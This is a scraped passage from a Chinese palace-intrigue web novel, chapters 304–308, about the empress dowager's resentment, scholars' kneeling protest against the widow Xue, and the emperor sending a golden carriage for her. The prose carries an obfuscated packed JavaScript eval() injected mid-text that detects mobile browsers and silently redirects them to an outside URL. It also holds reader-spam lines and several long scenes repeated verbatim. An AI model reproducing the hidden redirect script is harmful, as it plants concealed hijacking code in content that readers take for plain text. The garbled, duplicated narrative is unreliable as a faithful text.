太后并没有放在心上,继续道:“不说别的,就说他把宋襄的禁军统领撤了这事——我不信大哥心里没有想法。” 秦老夫人沉默了一会,然后长长地叹了一口气。 “唉,”她说,“若不是宋止伤了,宋家又怎么会失去禁军。” 她抬起头,看着太后: “宋襄哪里比得过宋止?你大哥心中虽不舍,可也知道宋襄被人拿住把柄,此番处理已经很是给宋家留体面了。若是换一个心狠的,直接论罪,宋襄还能全须全尾地出来?” “先帝在时,”太后开口了,声音忽然变得有些冷,“辛酉年冬,大哥在北地战败,损兵折将,**那么多人,朝中多少人上书参奏——先帝压下去了。” 她抬起头,看着秦老夫人:“先帝仍把兵权交在大哥手里,那才叫真信任!” 秦老夫人的脸色微微变了。 太后的声音越来越高:“咱们家与皇帝,本就有从龙之功。一点微末小事,提醒一下,小惩大诫也就是了。直接撤职——这叫卸磨杀驴!” 最后一句话,她说得很重,重地在空旷的大殿里,都起了回音。 秦老夫人看着她,目光复杂,过了很久,她才开口。 “雅章啊。” 秦老夫人一字一顿:“你刚刚也说了,人是会变的。皇帝变了,咱们也要变一变。咱们家如今也算是鲜花着锦,烈火烹油。皇帝偶尔有一两件事挑剔宋家又如何?这江山,毕竟是姓姜的。” 太后沉默了,她知道祖母说的是对的。 道理她都懂,可她就是不甘心。 不甘心那个当年在她面前唯唯诺诺的少年,如今敢这样对她,这样对宋家。 不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 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不甘心那么个女人,竟能得到他这般偏爱,越发显得宋家的女人都是笑话。 秦老夫人端起茶盏,抿了一口,那茶已经凉透了,她却像是浑然不觉。 “雅章,”她放下茶盏,抬起眼,“昨日肃国公府的高夫人来访。” 太后挑了挑眉:“哦?她来做什么?” 秦老夫人叹了口气:“提起了薛氏的事情。薛家有个小子在国子监读书,说是朝廷再不回应,他们要**了。高夫人说,薛氏虽不是她的孩子,可毕竟姓薛,勉强也是肃国公府的人。如今闹成这样,事关肃国公府的颜面,她还是想问下宫里的意思——是不是一定要闹到史书留名的程度?” 太后笑了笑,并未答话。 “雅章啊,你劝劝皇帝。若是能舍下,赐死便是。过上一两个月,这事一点水花也没了,谁还记得那个薛氏是谁?” 她顿了顿,声音更低了些: “若是舍不下,先把她送走,送到城外庄子上也好,送到江南别院也好。回头换个名头送进宫来,谁还能说什么?” 太后听着,脸上没有什么表情,沉默了片刻,有些敷衍道:“好,我试试。” 第304章 鲜花着锦 偏殿里王夫人紧紧拉着宋静仪的手眼泪还在眼眶里打转。 “静仪”她的声音发颤带着压抑不住的担忧“你……可曾受了委屈?” 宋静仪看着母亲看着那双满是心疼的眼睛心里酸涩得厉害。可她忍住了 “娘我没受委屈。皇上他……待我很好。” 王夫人愣了一下她看着女儿的眼睛想从里面找出说谎的痕迹。 这几天的满城风雨王夫人自然知道女人刚进宫不久就传出皇帝早与一寡妇有私情这样的情形下女儿怎么可能没有受过委屈? 她叹了口气握紧了宋静仪的手: “好孩子男人都这样的。” 宋静仪看着她。 王夫人继续道:“等新鲜劲过了他也就不当一回事了。你的位份在这儿又有宋家撑着他总会给你一些体面的。将来能诞下一个皇子也就稳了。” 宋静仪听着这些话心里一阵苦涩她知道母亲说的是所有世家主母会对女儿说的心里话是她们这一辈子的经验是她们认为最稳妥的路。 可母亲不知道——她这辈子不可能诞下皇子。就凭她这张脸皇帝也不可能与她同房。 况且这也不是她喜欢的路。 想到那个她昏睡的夜晚宋静仪的脸色微微白了一白。 王夫人察觉到了连忙问:“怎么了?可是身子不适?” 宋静仪摇了摇头挤出一个笑容:“没事只是……有些乏了。娘你回去劝劝爹身子不好便早些退了吧。” 王夫人的脸色变了。 宋静仪继续道:“就是哥哥既然胳膊伤了不如也从兵部退了。一家子回老家去含饴弄孙、养花种草过些逍遥日子岂不美哉?” 王夫人的心咯噔一下。她猛地抬起头看着女儿。 “我的儿你为何这般说?可是宫里有什么事?” 宋静仪摇了摇头。 “没什么事。我只是觉得举凡大家族兴盛到一定程度便开始走下坡路。” 王夫人愣住了。 宋静仪继续道:“自咱们到京城后我冷眼瞧着宋家虽荣耀可下头子弟无继。哥哥已经算是翘楚如今还断臂再不能往前走。再往后叔伯们总要老去年轻子侄辈没出息难道宋家还能一直这般烈火烹油吗?” “话虽如此”王夫人挣扎着说“可也没到这个时候吧。别的不说这 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 后宫可完全都在宋家手里。只要你诞下皇子……” 宋静仪心中暗暗叫苦,母亲这是在白日做梦,她深吸一口气,打断了母亲的话: “娘,子嗣之事全看天意。先帝元后为后二十载,也不过诞下齐王一个孩子,还没有养住。与其寄希望与一个无需缥缈的孩子,不如把当下的日子过好。” 她的声音很低,却很坚定: “您听我的,回去好好劝劝父兄。” 王夫人看着她,看着那双清澈却深不见底的眼睛,她忽然觉得,这个女儿,变得有些陌生了。 短短数月,女儿似乎一下子脱胎换骨,再不是从前娇俏单纯的小姑娘了。 王夫人心里涌起一阵不安,点了点头。“好,我回去会好好劝说他们的。” 秦老夫人和王夫人的身影消失在殿门外,宋静仪送完她们回到殿内,走到太后面前,敛衽行礼: “臣妾给太后娘娘请安。” 太后抬手示意她坐下,沉声问:“夫人与你说了什么?” 宋静仪低着头,声音恭敬:“回娘娘,夫人叫臣妾好好听娘娘的话,伺候好皇上。” 太后听了,忽然笑了,“现在还想着伺候好皇上?” 宋静仪抬起头,看着太后。太后的脸上带着笑,可那笑容里,有一种她说不上来的东西。 是嘲讽?是怜悯?还是别的什么? 她张了张嘴,想回答,可不知道该怎么回答。这个问题,她答不出来。 太后也没想过听她的答案。 问完之后,就自顾自地说了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋静仪浑浑噩噩地从长乐宫回到钟粹宫,没想到,姜玄今日竟来了她这里。 宋静仪进了寝殿,书案前站着一个人。 玄色的常服,修长的背影,正低头看着她昨日写的那幅字,正是姜玄。 第305章 问天子,要理字 宋静仪连忙上前屈膝行礼:“臣妾给皇上请安。” 姜玄转过身来他的脸上没什么表情只是眼底有一层淡淡的青色像是没睡好。他看了宋静仪一眼摆了摆手:“平身。去沏壶茶陪朕说说话。” 宋静仪应了一声吩咐宫女备茶。 不多时茶具摆好了宋静仪摆摆手所有人都习惯地退了出去。 宋静仪亲自沏茶动作很慢很稳她端起第一杯茶双手捧着递到姜玄面前。 姜玄接过喝了两口然后他开口了声音有些沙哑:“外头的风言风语都听说了吧。” 宋静仪垂着眼点了点头:“略有耳闻。” 姜玄道:“我也不瞒你。我心里有她。我与她情分太深从前错过如今再不能放手。” 宋静仪的心微微一颤她没想过以为天子会为了一个女人说出这样的话。 姜玄继续道:“从前我想着把她先养在外面太后以为我没那么在乎她便不会下手。可我没想到……被太后看穿了。” 宋静仪低着头手心里已经出了汗。 她当然知道太后为什么能看穿太后看着皇帝长大看着他从少年变成男人陪伴了这么多年怎么会看不懂他呢。 可这话她不能说她只能低着头听着。 姜玄继续道:“朕派了侍卫在戚家守着。但太后的人手不少明里暗里都有朕也怕一时半会哪里疏漏了。” 宋静仪的心猛地一紧。 “你这些日子没事就往长乐宫去请安或者陪陪太后说话。倘若发现什么不对——” 姜玄顿了顿: “立刻报给张鸿宝或者陆怀、玉珍。都可以。” 宋静仪低下头声音低低的:“是臣妾知道了。” 姜玄看接着开口声音比方才柔和了些: “你放心。朕答应你的事情将来一定会做到的。朕不会牵连无辜更不会薄待了有功之臣。” 宋静仪的心猛地一颤 从那一刻起她就知道皇帝与宋家的**是早晚的事了。 这些日子她忧心忡忡想了很多。她读过很多书知道盛极必衰的道理。 宋家如今烈火烹油鲜花着锦眼看着鼎盛也眼看着要走下坡路。 她心里悲哀可也知道皇帝正如旭日往上升而宋家已经是正午的日头注定会落下去一样。 没有人能抵挡这大势所 听说看这本书的人都是很幸运的,分享后你的运气会更棒 趋。 宋静仪抬起头看着姜玄眼泪忽然涌了上来。 “皇上”她的声音发颤带着压抑不住的悲凉“您会宽容宋家吗?” 姜玄看着她沉默了很久他叹了口气“我不是一个薄情的人。我从前……没有想过会这样。你放心。宋家与我有恩只要不是谋反大罪我会宽容宋家的。” 宋静仪的眼泪终于落了下来她拼命点头她想宋家应该还不至于会谋反的。 姜玄走后殿门在他身后缓缓关上。 宋静仪一个人站在原地她慢慢走回书案前坐下。 案上那幅字还铺在那里。 是她昨日写的是《庄子》里的一句话—— “巧者劳而智者忧无能者无所求。” 夜色如墨浓得化不开。 国子监深处有一间僻静的斋舍窗户里透出一豆昏黄的烛光。 室内灯芯噼啪作响燕奉坐在桌前对面坐着一个黑衣人。 那人压低声音说着什么燕奉静静听着。 黑衣人说完对着燕奉拱了拱手悄无声息地退了出去。 门关上了斋舍里只剩下燕奉一个人。 他坐在那里一动不动烛火在他脸上跳跃明明暗暗。 他的胸膛剧烈起伏着愤怒激动热血还有一股说不清的使命感像潮水一样在他胸中激荡。 皇帝竟然真的与薛氏有私情!他当着朝臣的面亲口承认了! 不管戚少亭是不是他杀的——一个守孝的寡妇两重孝在身与皇帝私通这就是失德就是败礼 这是圣人定的礼是祖宗传下来的规矩是天下人应该共守的纲常! 可那些朝臣呢? 一个个满嘴仁义道德一肚子男盗女娼皇帝不过是揭了他们的老底他们就吓得屁滚尿流再也不敢说话。 这就是大周的朝堂? 燕奉的拳头慢慢攥紧了。 那些本该站出来说话的人全都沉默了。 只有他们这些年轻的一腔热血的士子们才能对抗这不公才能为读书人申冤才能守住这礼教这纲常这天下最后的体面! 想到黑衣人说的蝗灾燕奉的心跳得更快了。 他仿佛看见那些灾民跪在赤地上看见蝗虫遮天蔽日看见庄稼被啃食殆尽看见老人和孩子饿得皮包骨头…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282684|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一切都是因为那个女人! 她不死**不止。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 她不死,灾祸不休。 她不死,这天下就没有公道! 燕奉动了,他取出笔墨,铺开纸,笔尖蘸饱了墨,落在纸上。 第一个字落下时,他的手还在微微发抖。 可写着写着,那颤抖消失了。 取而代之的,是滚烫的热血。 他写得很快,几乎是一气呵成。 “国子监生员燕奉等,谨以肝胆泣血,叩首于午门之外——呜呼!天象示警,地孽频仍,而陛下犹未悟耶?” 他写着写着,眼前仿佛出现了明日的情景。 午门外,黑压压跪满了人。 他们的呼声震天,把午门上的瓦片都震得发抖。 而他,跪在最前面,手里高举着这封谏书。 史官会记下这一刻。 后人会读到他的名字。 燕奉。 那个为了天下苍生,敢在天子面前直言的人。 他写着写着,明明已经是深秋的寒夜,却觉得浑身燥热。 那燥热从胸口涌起,涌到脸上,涌到四肢,让他坐立不安。 他放下笔,站起身,推开窗。 冷风灌进来,带着深秋的寒意。 可他一点都不觉得冷。 那风吹在他脸上,反而让他更加清醒。 他对着窗外的夜色,低声说了一句话: “明日,便是我燕某青史留名的时刻。” 然后他推开门,走了出去。 燕奉去找了申元恺,两人说了一会话后,分头出门找人。 一生二。 二生四。 四生八。 …… 夜色中,那些年轻的士子们,一个一个被从睡梦中唤醒。 他们聚在昏暗的斋舍里,传阅着那封谏书。看完之后,他们抬起头,看着彼此。 那些眼睛里,都有一样东西,是热血,是明知不可为而为之的决绝。 “明日辰时,国子监集贤门聚。襕衫素冠,不带仆从,只携《礼记》一卷、白布一幅。” “若问何往?” “答:问天子,要一个‘理’字。” 第306章 妖星 紫宸殿内,满朝文武整齐排列,没有人说话,只有偶尔传来的衣料窸窣声,和压抑的呼吸声。 可那些眼神,却在无声地交换着信息。众人的目光,有意无意地往龙椅上瞟,太监总管张鸿宝正在低声说事。 姜玄端**之上,他的脸上没什么表情,在认真听张鸿宝说着什么。 张鸿宝说完后,姜玄竟轻轻笑了一下,微微侧过头,对张鸿宝低声耳语了几句。 张鸿宝行礼,悄无声息地退下,从侧门离开了紫宸殿。 姜玄坐直身子,目光扫过殿内群臣。 “有本启奏。”陆怀的声音在大殿中回荡。 一个大臣出列,奏请了户部今秋税收的事。 姜玄听完,点了点头,说了几句话。 又一个大臣出列,奏请了刑部某桩案子的复核。 姜玄听完,又点了点头,吩咐了几句。 一切如常。 仿佛午门外那几千人,根本就不存在。 终于,有人忍不住了。 “陛下。” 一个声音从队列中响起。 所有人的目光齐刷刷地转过去。 邹子墨出列,走到殿中央,对着龙椅上的皇帝深深一揖。 “臣有本奏。” 朝堂上一片寂静。 邹子墨的声音继续在大殿中回荡: “午门外,士子云集,跪地上谏。臣来上朝时,亲眼所见——数百名国子监士子,襕衫素冠,跪于午门之外。身后跟随者,多达数千之众。” 他顿了顿,一字一顿: “他们请陛下——处死薛氏。” 朝堂上响起一阵嗡嗡的议论声。 邹子墨充耳不闻,继续道: “通县秋收之际,忽临蝗灾,粮食歉收,百姓嗷嗷待哺。天降灾祸,必有所自。钦天监观测,妖星祸国,才招致此灾。倘若不绞杀妖星,恐有更大的灾祸降临。” 他抬起头,直视龙椅上的皇帝: “陛下不可置之不理。若置之不理,恐**愈深,灾祸愈烈。” 朝堂上再次陷入寂静。 那些朝臣们交换着眼神,暗暗松了口气。 也只有邹子墨这样的人,还敢在这个时候触皇帝的逆鳞。 也只有他,敢把“妖星”两个字,当着皇帝的面说出来。 所有人的目光都落在龙椅上,落在那个人身上。 姜玄坐在那里,一动不动,他看着邹子墨,目光平静。 沉默 。 漫长的沉默。 久到邹子墨的额头开始渗出细密的汗珠,久到那些朝臣们开始不安地交换眼神。 然后,姜玄开口了:“大兖建朝近百年,是没有经历过水灾、寒灾、蝗灾吗?” 邹子墨愣了一下。 姜玄继续道:“不说远的。前年冬天,是不是几十年难遇的寒冬?” 邹子墨的嘴唇动了动,没有说话。 姜玄的声音忽然拔高:“那又是谁带来的灾祸?是朕吗?” 朝堂上一片死寂。 没有人敢说话。 “有灾祸,各衙门想办法去处置。开仓放粮,减免赋税,组织捕蝗,该做什么做什么。” 姜玄的声音越来越高:“栽赃到一个妇人头上,蝗灾便没了?把薛氏杀了,那些饿死的百姓就能活过来?那些被啃光的庄稼就能长回去?” 邹子墨的喉咙动了动,终于挤出一句话:“臣……臣自然知道。各衙门自然会处置蝗灾的事情。” 姜玄点了点头: “那就去办!” 邹子墨声音嘶哑:“陛下!臣知道,各衙门会处置蝗灾。可陛下也不可姑息薛氏!薛氏两重孝与人私通,涉嫌害死夫君,此事朝野皆知。若任由她逍遥法外,纲常何在?礼教何在?午门外的士子和百姓们还在等陛下的裁夺!” 姜玄看着他涨红的脸,看着他倔强的眼神,嗤笑一声。 “还没出仕,便要为朕分忧?好。很好。” 他起身,目光扫过殿内群臣,朗声道:“传朕旨意——” 朝臣们屏住呼吸。 姜玄的声音在大殿中回荡: “凡午门跪谏者,皆为‘至诚之士’。通县蝗灾,不必派兵部和工部去了——” 他顿了顿,嘴角弯起一个弧度: “就让这些忧心国运的士子们去!” 邹子墨猛地抬起头。 “陛下?!” 姜玄看着他,目光平静: “怎么?他们不是要为国分忧吗?通县蝗灾,百姓嗷嗷待哺——杀了薛氏并不能让蝗灾消失,士子们既然这般忧心国事,且去大展身手吧。” 邹子墨张了张嘴,又要说些什么。 姜玄已经不耐烦地摆了摆手:“看来大家没什么重要的事要禀告。翻来覆去,就是这点芝麻小事。” 他站起身,拂袖而去。 “退朝!” 陆怀的声音在他身后响起。 朝臣们面面相觑。 自从 与薛氏的**败露以来,皇帝越发的暴躁易怒了。 … 唉。 有人叹了口气。 有人摇了摇头。 朝臣们交头接耳,低语着,鱼贯从紫宸殿退出去。 走出紫宸殿,阳光有些刺眼,朝臣们眯着眼睛,沿着宫道往外走。 忽然,有人停下了脚步。 “咦?” 旁边的人顺着他的目光看去,也愣住了。 宫道旁,停着一辆金车。 说是金车,其实是用沉香木做的。车厢外面雕刻着四时美景——春桃、夏荷、秋菊、冬梅,栩栩如生。那些雕刻的边缘,用金片细细装饰,阳光一照,整辆车都闪着金光。 “这是哪来的金车?”有人惊异道,“怎么停在这里?” 没有人能回答。 正在这时,众人又看见太监甘松领着人牵了六匹马出来。 那六匹马,通体雪白,没有一丝杂**,在阳光下白得耀眼。 是名种“照夜雪狮子”。 甘松命人套上马,动作利落,显然早有准备,金车缓缓启动,车轮碾过青石板,发出轻微的辘辘声。 一阵微风吹过,那金车上隐隐飘来一股香气。不是脂粉的香,是木头本身的香——沉香木特有的雅致香气,悠远绵长。车上挂着的小金铃,随着车行轻轻晃动,发出叮叮当当的清脆响声。 朝臣们站在原地,看着那辆金车缓缓远去。 有人喃喃道: “‘宝马横来下建章,香车却转避驰道’……这是谁的金车?莫非是长公主的?” 与薛氏的**败露以来,皇帝越发的暴躁易怒了。 … 唉。 有人叹了口气。 有人摇了摇头。 朝臣们交头接耳,低语着,鱼贯从紫宸殿退出去。 走出紫宸殿,阳光有些刺眼,朝臣们眯着眼睛,沿着宫道往外走。 忽然,有人停下了脚步。 “咦?” 旁边的人顺着他的目光看去,也愣住了。 宫道旁,停着一辆金车。 说是金车,其实是用沉香木做的。车厢外面雕刻着四时美景——春桃、夏荷、秋菊、冬梅,栩栩如生。那些雕刻的边缘,用金片细细装饰,阳光一照,整辆车都闪着金光。 “这是哪来的金车?”有人惊异道,“怎么停在这里?” 没有人能回答。 正在这时,众人又看见太监甘松领着人牵了六匹马出来。 那六匹马,通体雪白,没有一丝杂**,在阳光下白得耀眼。 是名种“照夜雪狮子”。 甘松命人套上马,动作利落,显然早有准备,金车缓缓启动,车轮碾过青石板,发出轻微的辘辘声。 一阵微风吹过,那金车上隐隐飘来一股香气。不是脂粉的香,是木头本身的香——沉香木特有的雅致香气,悠远绵长。车上挂着的小金铃,随着车行轻轻晃动,发出叮叮当当的清脆响声。 朝臣们站在原地,看着那辆金车缓缓远去。 有人喃喃道: “‘宝马横来下建章,香车却转避驰道’……这是谁的金车?莫非是长公主的?” 与薛氏的**败露以来,皇帝越发的暴躁易怒了。 … 唉。 有人叹了口气。 有人摇了摇头。 朝臣们交头接耳,低语着,鱼贯从紫宸殿退出去。 走出紫宸殿,阳光有些刺眼,朝臣们眯着眼睛,沿着宫道往外走。 忽然,有人停下了脚步。 “咦?” 旁边的人顺着他的目光看去,也愣住了。 宫道旁,停着一辆金车。 说是金车,其实是用沉香木做的。车厢外面雕刻着四时美景——春桃、夏荷、秋菊、冬梅,栩栩如生。那些雕刻的边缘,用金片细细装饰,阳光一照,整辆车都闪着金光。 “这是哪来的金车?”有人惊异道,“怎么停在这里?” 没有人能回答。 正在这时,众人又看见太监甘松领着人牵了六匹马出来。 那六匹马,通体雪白,没有一丝杂**,在阳光下白得耀眼。 是名种“照夜雪狮子”。 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与薛氏的**败露以来,皇帝越发的暴躁易怒了。 … 唉。 有人叹了口气。 有人摇了摇头。 朝臣们交头接耳,低语着,鱼贯从紫宸殿退出去。 走出紫宸殿,阳光有些刺眼,朝臣们眯着眼睛,沿着宫道往外走。 忽然,有人停下了脚步。 “咦?” 旁边的人顺着他的目光看去,也愣住了。 宫道旁,停着一辆金车。 说是金车,其实是用沉香木做的。车厢外面雕刻着四时美景——春桃、夏荷、秋菊、冬梅,栩栩如生。那些雕刻的边缘,用金片细细装饰,阳光一照,整辆车都闪着金光。 “这是哪来的金车?”有人惊异道,“怎么停在这里?” 没有人能回答。 正在这时,众人又看见太监甘松领着人牵了六匹马出来。 那六匹马,通体雪白,没有一丝杂**,在阳光下白得耀眼。 是名种“照夜雪狮子”。 甘松命人套上马,动作利落,显然早有准备,金车缓缓启动,车轮碾过青石板,发出轻微的辘辘声。 一阵微风吹过,那金车上隐隐飘来一股香气。不是脂粉的香,是木头本身的香——沉香木特有的雅致香气,悠远绵长。车上挂着的小金铃,随着车行轻轻晃动,发出叮叮当当的清脆响声。 朝臣们站在原地,看着那辆金车缓缓远去。 有人喃喃道: “‘宝马横来下建章,香车却转避驰道’……这是谁的金车?莫非是长公主的?” 与薛氏的**败露以来,皇帝越发的暴躁易怒了。 … 唉。 有人叹了口气。 有人摇了摇头。 朝臣们交头接耳,低语着,鱼贯从紫宸殿退出去。 走出紫宸殿,阳光有些刺眼,朝臣们眯着眼睛,沿着宫道往外走。 忽然,有人停下了脚步。 “咦?” 旁边的人顺着他的目光看去,也愣住了。 宫道旁,停着一辆金车。 说是金车,其实是用沉香木做的。车厢外面雕刻着四时美景——春桃、夏荷、秋菊、冬梅,栩栩如生。那些雕刻的边缘,用金片细细装饰,阳光一照,整辆车都闪着金光。 “这是哪来的金车?”有人惊异道,“怎么停在这里?” 没有人能回答。 正在这时,众人又看见太监甘松领着人牵了六匹马出来。 那六匹马,通体雪白,没有一丝杂**,在阳光下白得耀眼。 是名种“照夜雪狮子”。 甘松命人套上马,动作利落,显然早有准备,金车缓缓启动,车轮碾过青石板,发出轻微的辘辘声。 一阵微风吹过,那金车上隐隐飘来一股香气。不是脂粉的香,是木头本身的香——沉香木特有的雅致香气,悠远绵长。车上挂着的小金铃,随着车行轻轻晃动,发出叮叮当当的清脆响声。 朝臣们站在原地,看着那辆金车缓缓远去。 有人喃喃道: “‘宝马横来下建章,香车却转避驰道’……这是谁的金车?莫非是长公主的?” 第307章 宝马香车 午门外,黑压压跪了一片。 太阳越升越高,有些晃眼。那些青衫士子们,膝盖已经有些麻木不适,可没有人动,没有人站起来。 但呼喊的声音,已经没有一开始那么大了。 燕奉跪在最前面,手里捧着联名书。他的嗓子已经哑了,嘴唇干裂,可他的眼睛,依旧盯着午门的方向。 他在等,等一个回应。 可午门一直关着,沉默得像一头沉睡的巨兽。 忽然—— 午门的东侧门开了,这是文武百官平日上下朝行走的门,难道是散朝了? 所有人抬起头。 一辆金车,从门内缓缓驶出,阳光下,那辆车熠熠生辉。 六匹白马拉着车,通体雪白,没有一丝杂毛。 “叮叮……叮叮……” 金铃摇晃,声音清脆悦耳,像是山间的溪流。 一阵微风吹过,沉香木的香气飘散开来,雅致悠远,沁人心脾。 百姓们看呆了。 他们不懂什么叫宝马香车,可那金箔的光彩晃得他们眼睛都花了。 “这……这是谁的车?” “皇宫里出来的,肯定是贵人!” “这是要去哪儿?” 金车不疾不徐,招摇过市,出了午门便沿着长街前行,仿佛故意要将一路风光尽收路人眼底。 好事者顿时弃了士子午门跪谏的热闹,拔腿追着金车跑去,一路指指点点,议论纷纷。 金车穿街过巷,走得稳稳当当。 后面跟着的人,越来越多。 金车穿街过巷,一路行至元宝胡同,慢了下来,停在了元宝胡同戚家门口。 戚家这几日,正在风口浪尖上。 原本探头探脑围观的人就不少,有附近街坊,有好事闲汉,有各府的耳目。 此刻,随着金车涌来的百姓,更是将这条巷子围得水泄不通,他们不敢靠得太近,躲在穿插的巷子里,探头探脑张望着。 人们瞧见,有个十来岁清秀的小太监穿着一身靛蓝色的袍子,站在戚家门口,清了清嗓子,高声喊道: “薛宜人接旨——!” 人群里瞬间安静下来。 所有人都竖起耳朵。 小太监声音又高又亮,清清楚楚传进每个人耳中: “陛下口谕——请薛宜人进宫作伴!” 人群先是静了一瞬,然后——“轰”的一声,整条巷子炸开了锅。 “什么?进宫作伴?!” “我没听错吧?皇上派人来接她?!” “这这这……这不是打那些士子的脸吗?他们还跪在午门外呢!” “我的老天爷……这薛氏到底是什么人?能让皇上这样?” “啧啧啧,香车宝马,亲自来接……这排场,比皇后还大吧?” 有人压低声音,神神秘秘地说: “我听说啊,这车是沉香木做的,光是那些金箔,就值几千两银子。那六匹马,是西域进贡的‘照夜雪狮子’,一匹就值万金!” “万金?!那六匹就是六万金?!” “可不是嘛!皇上这是把一座金山,送到她门口来了!” “天哪……这薛氏,到底有什么好?能让皇上这样?” “谁知道呢?反正啊,从今往后,这京城里的人,都得另眼看她了。” 有人酸溜溜地说: “什么另眼相看?不就是个寡妇吗?守孝期跟人私通,还有脸坐这样的车?” 旁边的人冷笑一声: “人家有本事啊,勾得皇上上了心,你有本事你也去勾啊……” 那人噎住了。 人群里,说什么的都有。 有羡慕的,有嫉妒的,有骂的,有酸的,有看热闹不嫌事大的。 可不管说什么,所有人的眼睛,都盯着那扇门。 等着那个人出来。 消息传到内院时,薛嘉言愣住了。 她当然知道午门外的热闹,正为此心焦,倒不是怕姜玄会真的处死她,而是担忧姜玄面临的压力会太大。 这个当口,姜玄忽然大张旗鼓地派人来接她,这是要做什么? 她心头乱如麻,却半点耽搁不得,匆匆换了一身素净衣裙,简单梳洗一番,便疾步走出院门。 薛嘉言看着那辆金车,六匹白马,沉香木的车厢,金铃叮当,香气幽幽。 这一切,更加让薛嘉言心惊,这种金车岂是她能坐的? 甘松服侍着薛嘉言登上金车,车内铺着厚厚的绒毯,陈设极尽奢华,坐上去安稳舒适,可薛嘉言半点心思也无,只随着马车轻轻晃动,一颗心悬在半空,一遍遍想着朝臣会如何弹劾,太后会如何发难,天下人会如何唾骂。 先前一路追来的百姓,见金车掉头回宫,又呼啦啦跟着折返,一路跑一路对着街边行人高声喊道:“车里坐的就是那个薛氏!陛下亲自接进宫的薛氏!” 消息飞快传回午门。跪在地的士子们听得清清楚楚,一张张脸瞬间涨得通红,又青又白,难堪到了极点。 他们在此跪谏,恳请陛下处死妖妇,以正纲纪,可陛下非但不理,反而用金车宝马将人风光接入宫中——这哪里是不纳谏,分明是当众扇了他们一巴掌! 不少士子攥紧拳头,指节发白,又羞又愤,却又无计可施。 与此同时,下朝的官员们,在各部阁议完事,三三两两地坐轿骑马,也到了午门附近。 邹子墨坐在马车里,闭着眼睛,想着今日朝堂上的事。 刚才几位御史碰了头,商议着,若士子们跪到了午时,宫里还没有发话,他们这些大人也不能坐视不理,只能去跪请皇帝平息事端。 邹子墨越想越烦躁,闭着眼睛思索着,待会该怎么跟皇帝交涉。 忽然,马车停了下来。 “怎么停了?”邹子墨睁开眼。 随从的声音从外面传来:“大人,前面……前面有辆金车。” 邹子墨撩开车帘,往外看去。 阳光下,一辆金车正从他旁边驶过。 六匹白马,沉香木的车厢,金铃叮当,香气幽幽。 随从压低声音道:“大人,刚才小的听说……那车里坐着的,是薛氏。” 邹子墨的脸色,瞬间变得铁青。 第308章 妖妇与昏君 薛氏? 皇帝派人接薛氏进宫? 当着午门外那些士子的面? 当着满朝文武的面? 邹子墨盯着那辆金车,其余朝臣们也看着那辆金车,看着它不疾不徐地驶向午门,看着它进了宫门,消失在视线里。 金车不疾不徐,稳稳地朝着宫门行去。 车轮碾过青石板,发出轻微的辘辘声。金铃叮当作响,在寂静的宫道上格外清脆。 薛嘉言靠在车壁上,能感觉到,车正在穿过一道又一道宫门。 那些宫门,她从前也进过。可每一次,都是偷偷摸摸的,趁着夜色,穿戴着太监的衣裳,从偏门进去。 从来没有这样,光天化日之下,香车宝马,大摇大摆。 她睁开眼睛,透过车帘的缝隙往外看了一眼。 红墙,黄瓦,青石板路,阳光照在上面,金灿灿的。 她忽然想起一句诗——“平明骑马入宫门”。 那是虢国夫人。 薛嘉言从前说过,她想做虢国夫人,可那只是一句玩笑话,她没想到,姜玄真的会让她这样做,而且做得比虢国夫人更张扬。 虢国夫人只是骑马入宫,她是香车宝马,金铃叮当,招摇过市。 薛嘉言苦笑了一下。 这下好了,她这“妖妇”的名声,算是坐实了。 金车一路畅通,径直停在了乾清门口。 车帘掀开,甘松躬身站在车旁。 “宜人,到了。” 薛嘉言下了车。 阳光刺眼,她不由得眯了眯眼睛。 乾清门前,早有肩辇在候着。 薛嘉言上了肩辇,辇夫抬起辇,稳稳地往前走。 前世今生,这是姜玄第一次在白日宣她进宫。 从前都是夜里,偷偷地来,偷偷地走。 每一次,她都觉得像是在做贼。 可今天…… 阳光照在她身上,亮堂得有些刺眼,薛嘉言忽然有些不自在。 甘松是个细心的,动手把华盖四周的轻纱帷幔放了下来。 帷幔垂落,遮住了阳光,也遮住了所有的视线。 薛嘉言顿时舒坦了些,自嘲地笑了笑,到底是偷久了,这样正大光明地出来,一时半会还不习惯。 肩辇继续往前走,穿过一道又一道宫门,最后,停在了长宜宫门前。 长宜宫的朱门敞开着。 门内,站着一个人。 姜玄穿着一身浅色的常服,站在廊下,正笑着看她。 薛嘉言看着他,忽然有些恍惚。 这个男人,每次见她,都这样笑。 好像不管外面有多少风雨,只要她来了,他就高兴。 她走过去。 他伸出手,握住她的手。 “来了?” “嗯。” 两个人牵着手,走进内殿。 殿门关上的那一刻,薛嘉言轻舒了一口气。 她正要开口问话—— 人已经被姜玄拥着,躺到了软榻上,来不及说出嘴的话,尽数被他用唇舌堵了回去。 薛嘉言被他亲得七荤八素,脑子里一片空白。 过了好一会儿,他才松开她。 姜玄低头看着她,眼里带着笑意,他察觉出她的心不在焉。 “没出息,”他点了点她的鼻尖,“瞧你心跳快的。” 薛嘉言嗔怪地瞪了他一眼。 